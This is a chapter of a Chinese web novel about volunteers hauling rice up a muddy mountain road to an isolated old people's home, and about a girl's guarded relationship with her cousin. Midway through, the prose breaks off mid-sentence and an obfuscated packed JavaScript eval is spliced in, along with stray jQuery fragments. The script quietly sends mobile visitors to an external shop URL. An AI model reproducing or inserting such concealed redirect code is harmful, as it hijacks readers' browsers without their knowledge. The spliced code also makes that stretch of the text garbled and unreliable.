“好嘞，”装货的大伯在林长焱的书包上拍了两下，“可以了幺妹，慢慢走哈。”
货运车停在山底下，虽然还有一截水泥路可以开上去，但以防下来的时候路面又冻住了，安全起见全都停在一起。
养老院那边早早派了几个人牵着两头牛和一匹马下来接人，马和牛身上都搭了货筐，刘兴义和赵青阳他们人手一个背篼，已经装好在旁边等着。
“再给我一袋米，”林长焱摊开手臂，“我能抱得动。”
大伯把菜筐递给后面的少年，“有段路烂得很，不好走，你莫摔咯。”
“我背上只有二十斤，这里一袋米也就二十斤，加起来没超过我体重的一半，所以我能抱得动，不会摔。”
大伯被她叽里咕噜一大串话绕晕，抱出稍小一点的米袋给她：“……行嘛行嘛，你注意脚下哈，摔了可不得哭鼻子哦。”
“谢谢伯伯。”她身形一晃，两只臂弯收紧，小跑到刘兴义身边。
徐铭龙戴上有备而来的手套，很有大哥范地“啧”了一声：“不愧是咱妹妹！”
“这姑娘肯定跟我家如意合得来，”方志强把手里蘸了辣椒面的香蕉两口啃完，背起大背篓走在前面：“跟好了孩子们，脚底别打滑啊——”
二十多人的人力货流顺着修好的一截山路蜿蜒往上，毕竟是能平时能通车的路面，走起来还算宽敞，但确实容易打滑，大家都一步一步走得谨慎。
队伍后面的牛鼻子里喷出一阵阵热雾，刘兴义转过头来，看着身边呼吸逐渐粗重的林长焱，提议道：“要不歇一歇吧？”
“不、不用。”她的鼻头冻得发红，热汗把头发湿成一绺一绺的，到现在走了大概有半个小时左右，“不用管我。”
赵青阳在路边捡了根木棍当拐杖，也累得上气不接下气，抬手就喊：“申请休息，我不行了——”
队伍当即停了下来，所有人靠在路边喘气，一阵阵白雾乘风化云，在冷空气里散了形。
刘兴义大马金刀往地上一坐，抹着额头摇头笑笑：“真犟。”
林长焱立马反驳：“我才没有。”
他靠着背篓哼哼：“对啊，没说你。”
她“啧”了一声，拧开统一发放的水瓶抿了口，等冰凉的水在口腔里捂暖了再咽下去。
“好困……”赵青阳顶着他的新发型气势全无，倒在徐铭龙肩上努力张嘴：“玉皇大帝王母娘娘观音菩萨齐天大圣谁借我筋斗云一用，好困……”
“别睡，”林长焱搡他一把，“累过头了就不困了。”
他瘫在背篓上“颗颗”地笑：“还有比天更冷的中文啊……”
“来，”徐铭龙撅着嘴凑过去：“我亲一口你就醒了。”
赵青阳一个鲤鱼打挺蹦起来，“滚啊！！”
十分钟后，队伍重新启程，好在后面的路程不多了，顶天四十分钟就能到。
坏在后面都是土路，被雨和雪搅来拌去的泥巴一旦沾上了鞋，就跟认了主一样又牵又绊，鞋底越垫越高，走一步得甩两步，稍有不慎就会五体投地。
林长焱抱孩子一样抱着那袋米努力保持平衡，前面似乎有人摔了，围过去一堆人拔萝卜。
她试图对每一步都进行分析和试探，尽量踩在别人踩过的地方，她可不想摔得浑身是泥，肯定很难受。
“哎哟我去！”
走在前面的赵青阳一个脚滑，幸好她往后仰了仰，不然那一脚就踹在她腿上了……“哎！哎哎！！”
棋差一招，她后退的时候怕踩到刘兴义，脚底无意识地一转，整个人朝旁边的泥地里扑去，怀里的米袋倒是只溅了点泥。
“哎，小焱！”刘兴义累得愣了一会儿，才想起要把人拽起来。
林长焱顶着大家伙纷纷投来的视线，在泥里稳如泰山地坐了片刻，直到赵青阳喘着牛鼻子气在她眼前晃了晃手。
谁知她伸手抹了把背后的泥，稀奇地摊开掌心看了一眼，然后拍在赵青阳手上。
“哎卧槽！你什么毛病……不是姐你别吓我，是不是摔傻了？”
林长焱咧开嘴，看着他哈哈大笑起来，还摊开手给他们看：“哥你看，都是泥！摔我一身都是！”
像是被什么病毒传染了，刘兴义撑着腿也笑起来，徐铭龙从刚才看别人摔就想笑了……一个一个传开去，大伙儿东倒西歪甩着泥点子笑个不停。
赵青阳以为自己困出幻觉了，叹口气把人拽起来，没好气道：“衣服是不是都湿了？”
“还好，”她掸了掸裤腿和衣摆，“外套比较厚，就弄湿了一点，但弄脏了好多。”
“又是一个泥打滚。”方志强站在前头看，不知从哪儿弄来个痒痒挠传过来。
刘兴义接过痒痒挠在后头替她拍衣服，好一会儿她才止住笑意，养老院的大门也终于在视线里现了真身。
殿后的大伯也是一裤腿的泥点，和牵牛的老管事发牢骚：“修路嘛就修到家门口，修一半瘸一半，老火哟！”
老管事显然习惯了，从善如流地叹口气：“钱不够嘛老伙计，你以为我不想修？有那个钱我直接修到天安门！”
大伯无可奈何地哼了一声，“你修到天安门搞哪样，修到政府门口就够了嘛。”
“那你跟我荷包讲嘛，怕是荷包头只有个蛋哦。”
林长焱抖着肩膀吃吃地笑：“哥，他们说话好好笑……”
“你，你今天……”刘兴义探了探她脑袋，“怎么回事，你请神上身了？”
林长焱：“你说话也好好笑。”
刘兴义：“……”
她大概是累过了，整个人处在某种兴奋状态之中，看什么都好奇，听什么都新鲜，那一摔像是真把脑子摔坏了，仅凭眼耳口鼻的存在，就能自顾自地心满意足。
她抱着那袋比她干净的米，慰问了徐铭龙累不累，又小跑到前面去问面红耳赤的赵青阳。
赵青阳白她一眼：“回去多给你家老祖宗烧烧纸吧。”
她语调上扬地“啊”了一声，“为什么啊？”
“为了让他们收了你！”
-----------------
说是养老院，其实也和老式的居民楼没什么区别，左中右三栋三层高的楼房拢在一起，围出一个大院。
两边的房檐下养了好些花花草草，看样子已经冻死得差不多了，拴在笼子里的大狗有气无力地叫唤几声，听说后面还有几片菜地，都是苦出来的老人，再老也闲不住……
林长焱总算是笑不出来了，恭候已久的群众从房子里蜂拥而出，话赶话地表达感谢和嘘寒问暖，而她一句也听不懂，只能干笑着躲回刘兴义身后。
人老了大概都长一个样，层层叠叠的皱纹里藏着一双眼睛一张嘴，除了闻声出来的这些老人，楼上还有十几颗脑袋互相搀扶着探出来，视线逡巡着在找谁。
厨房马上有了火气，吵吵嚷嚷地留他们吃饭。这里的老人看样子有五六十个，年龄大多在七八十左右，虽然免不了老态毕现，但说话做事依旧中气十足。
“不吃喽不吃喽，歇岗就走。”方志强拦住他们起米下锅，不想浪费了辛辛苦苦背上来的粮食，然后就被七嘴八舌地强压下去——
“吃个饭能要好久？哪里有不让吃饭的讲法？”
“大老远来一趟，你不吃娃娃些还要吃嘛，去坐到！”
“不吃饭有力气下山？怕是没搞头哦……”
林长焱分不清他们是在吵架还是在喊话，拿湿帕子把身上的泥擦了一遍，混在人群中间被带到一间打通隔墙的大堂屋里，大伙儿围着火堆坐下来，老人们端着塑料杯给他们一一倒茶。
有个腰上围着蓝布的老人，拄着拐杖一张脸一张脸地看，逢人就问“福生来不来”，林长焱听不懂浓重的乡音，被他布满白翳的一只眼睛吓得后退几步。
等他快问完一圈，老管事进来找到他，拉着他说“福生明天来”，连搀带扶地把人哄回了房间……
赵青阳一坐下来鼻子就不通气了，耷拉着眼皮半张着嘴，抱着徐铭龙的手臂哼唧：“完了龙哥，我好像着了，你得背我下山……”
“诶谢谢谢谢，”徐铭龙接过茶水笑脸一收：“这会儿知道喊哥了，你想得美！让你在车上别脱衣服，嘿，偏不听嘛，晓得难受了？”
堂屋里没那么多板凳，摊开了几个防潮垫放在边上，刘兴义撑着胳膊坐上去，他胆子大心又细，老干部一样有模有样地问起来，林长焱抱着膝盖坐在旁边，看他们比比划划地交流着。
这里的水是从后面的山泉水接来的，因此受影响不是很大，平时走哪儿捡哪儿的习惯也派上了大用场，连着烧了一个多星期的柴火还绰绰有余。
“你们肯来，政府肯关心，吃不吃得上那口饭先不讲，我们这心头都安逸点，”倒茶的老人往火堆里扔了几根细柴，想起这两个星期的断联，百感交集：“本来我们这些老不死的也没人肯要，丢在这边给两口饭吃，吃到好久算好久，也没想长命百岁，但真的一点消息都收不到，灯也不亮，电视也打不开，心头还是慌……”
刘兴义一口喝掉了半杯热茶，把塑料杯放在地上，拍拍他的膝盖，“不讲这些嘛老伯伯，咋可能不管你们，只是我们消息也收得慢，很快这些水啊电啊就修好了。”
“是嘛是嘛，我们也是这样想的……”
整个堂屋里飞满了忽高忽低的絮叨声，院子里嚷叫着奔来忙去，灶台上的几口大锅沸腾不止。
炊烟阵阵堆高，直逼向阴狠铺排的寒天。
火光将每个人映得红光满面，进来时翻涌不停的笑意在满满当当的喧嚣里平静下来。刘兴义微微弯腰的侧脸，像极了小时候刘建国拿着一包薯片逗她的样子。
林长焱想起自己偶然进主卧帮舅妈取东西时，撞见墙上那张放大的结婚照时的震撼——她不记得自己的父母是否有这样一张照片，但她很确定，愿意把这样一张照片十年如一日地挂在墙上，甚至连相框上也一尘不染，他们的感情一定比这张照片更深。
而比那张照片更深的感情缓缓落地，一点一滴晕染成刘兴义的模样。
“果然，孩子要养在身边才会讨人喜欢……”她垂头把羽绒服的拉链拽到下巴上。
刘兴义的茶杯又被满上，老人拎着茶壶到处添茶去了，他扭头一看，赵青阳靠在徐铭龙的肩上已经睡得不省人事，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968503|214603||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
徐铭龙忙着跟另一边的老人打话苗，林长焱抱着膝盖歪着脑袋，无精打采地靠着头。
“想什么呢？困了？”他拿肩膀轻轻撞她。
“我在想……”她坐直了一点，声音依旧有气无力：“我就抱怨了一回，真的……就那么一回，他们就不要我了。”
刘兴义沉默了一会儿，看着火堆里怏怏的火光，莫名听懂了。
“所以你才不爱讲话吗？”
她有点惊讶，又隐隐有些被拆穿的羞赧：“……这有什么关系？”
“是啊，这有什么关系？”刘兴义像是叹了口气，又像是松了口气，“抱怨两句又怎么了，谁没抱怨过？”
“说得也是……”她抿了抿下唇，捏着水杯不作声了。
兄妹俩各自揣着自己的心事，蜷着自己的影子缩在火堆边，不时有人过来问两句，刘兴义笑着应了，支起身跑进跑出帮着张罗。
“放这儿是吧？”刘兴义放下挪了地方的米面，拍拍身上的灰走回去。
来来往往的背影里，坐在人堆里的林长焱始终如一地孤僻着。
如果不是性格使然，那么这种孤僻就是刻意为之的努力，十多岁的孩子连世界是什么都不知道，他们只会跟自己过不去。
她不明白只此一次的抱怨为何会招致灭顶般的后果，正如从前，他不明白桩桩件件的抱怨为什么无人问津。
然而只要他愿意问，总有人会回答他。哪怕那些答案那时的他听不进去，也会有人一遍又一遍地回答他。
那小焱呢？有人会回答她吗？
究竟是什么样的环境，才会养得她谨小慎微，连言语和笑容都吝啬？
“哎，你舅妈从小管我就管得严，”他重新挤回林长焱的身边，手肘搭在膝盖上，心里说不出的怜惜，“这个不准来往那个不准说话，每天要学这要学那，紧张得像是一个看不住，我就要一个筋斗翻走了……那段时间我老烦她了，没事就往你大舅的单位跑。”
“但你大舅的单位是那么好待的吗？一会儿哪条路上打起来了，一会儿谁喝醉了耍酒疯，没过几天又是哪家牛丢了，满大街帮着找牛，找不到了就说是他们派出所自己藏起来了……”
林长焱听得目瞪口呆，这简直比一千零一夜还不重样……“牛……牛怎么会丢？没见哪家养牛啊？”
“赶集的时候老乡会带点东西进城来卖，牵头牛拉匹马正常，”说着说着他自己都笑起来，喝了口茶继续道：“刚开始觉得好玩，今天找牛明天赶猪的，虽然各有各的不如意，但听起来都是一个调调，后来就听腻了，觉得没什么意思，就不再往我爸那头凑了。”
她没经历过那种日子，只记得案头看不完的教辅和写不完的作业，要为了以后的出人头地努力努力再努力。知识的海洋里浮满了碎渣，她捞了许久，也拼不出刘兴义脚下的岸。
因此她口是心非地叼着杯口：“那……是没什么意思。”
“你刚来的时候，正是你最不如意的时候，虽然一想到要听别人倒苦水，我心里或多或少有点不爽，但你的苦水是应该倒的，我是你哥，也是应该听的，”话匣一打开，往外洒就容易多了，他切身体会过那种天崩地裂的变故，知道那时她的心里一定很害怕，“但你什么也没说，把嘴闭得紧紧的，除了谢谢就是好的，好像多说一句话都会让你无地自容……”
“不至于，小焱，没那么严重。”
倒茶水的老人又遛了一圈回来，他咂咂嘴端着空下的茶杯喊：“说了好多话……老伯，再给我倒杯嘛。”
“为什么跟我就说普通话？”林长焱揉着鼻子问。
他端着满上的茶杯转过来，反应了一会儿，“哦！是吗？谁让你跟我说普通话的……哎那不是重点，重点是你别老闷着，容易闷出病来，你不说话别人怎么知道你在想什么？让他们猜吗？猜错了大家都不高兴吧？那不如直接说出来，行不行的再另说，有些人不抱怨都不会说话……”
“给咱妹妹传教呢？”徐铭龙安排了赵青阳去吃药，趁这个机会揉着肩膀坐过来。
刘兴义被他挤得让出半个屁股，“她总是不说话，我正说她呢。”
他坐下来嗤笑一声，“我妈巴不得我不说话，还说要是哪天电视上卖哑巴药了一定给我买两包，再说了你说人家干嘛，学习好的都不爱说话，那叫文静你懂不懂？”
林长焱把拉链拽下一点，大兜帽上的毛边搭在肩上，“没有，那是我装的。”
“装……装的呀，装得好啊，”徐铭龙输台不输阵，煞有其事地圆回来：“这可不容易装啊，要技术含量的，咱俩就装不出来。”
“独眼龙，”刘兴义硬生生把他挤开，“坐过去一点，屁股大了不起啊？”
徐铭龙跳脚道：“我半个屁股都挂在外面！你再挤？”
两人背靠背推挤起来，火堆上盖了两棵大树干，树脂的气味燎燎而起，噼里啪啦烧得四周暖烘烘的。
不知被喂了什么草药的赵青阳晃着腿走回来，刚才还发热的，现在开始阵阵发冷了。
他跌坐回原来的位置上，两眼昏花地捞了捞右边空下的位置，然后一捞左边，靠在毛茸茸的肩膀上睡了过去。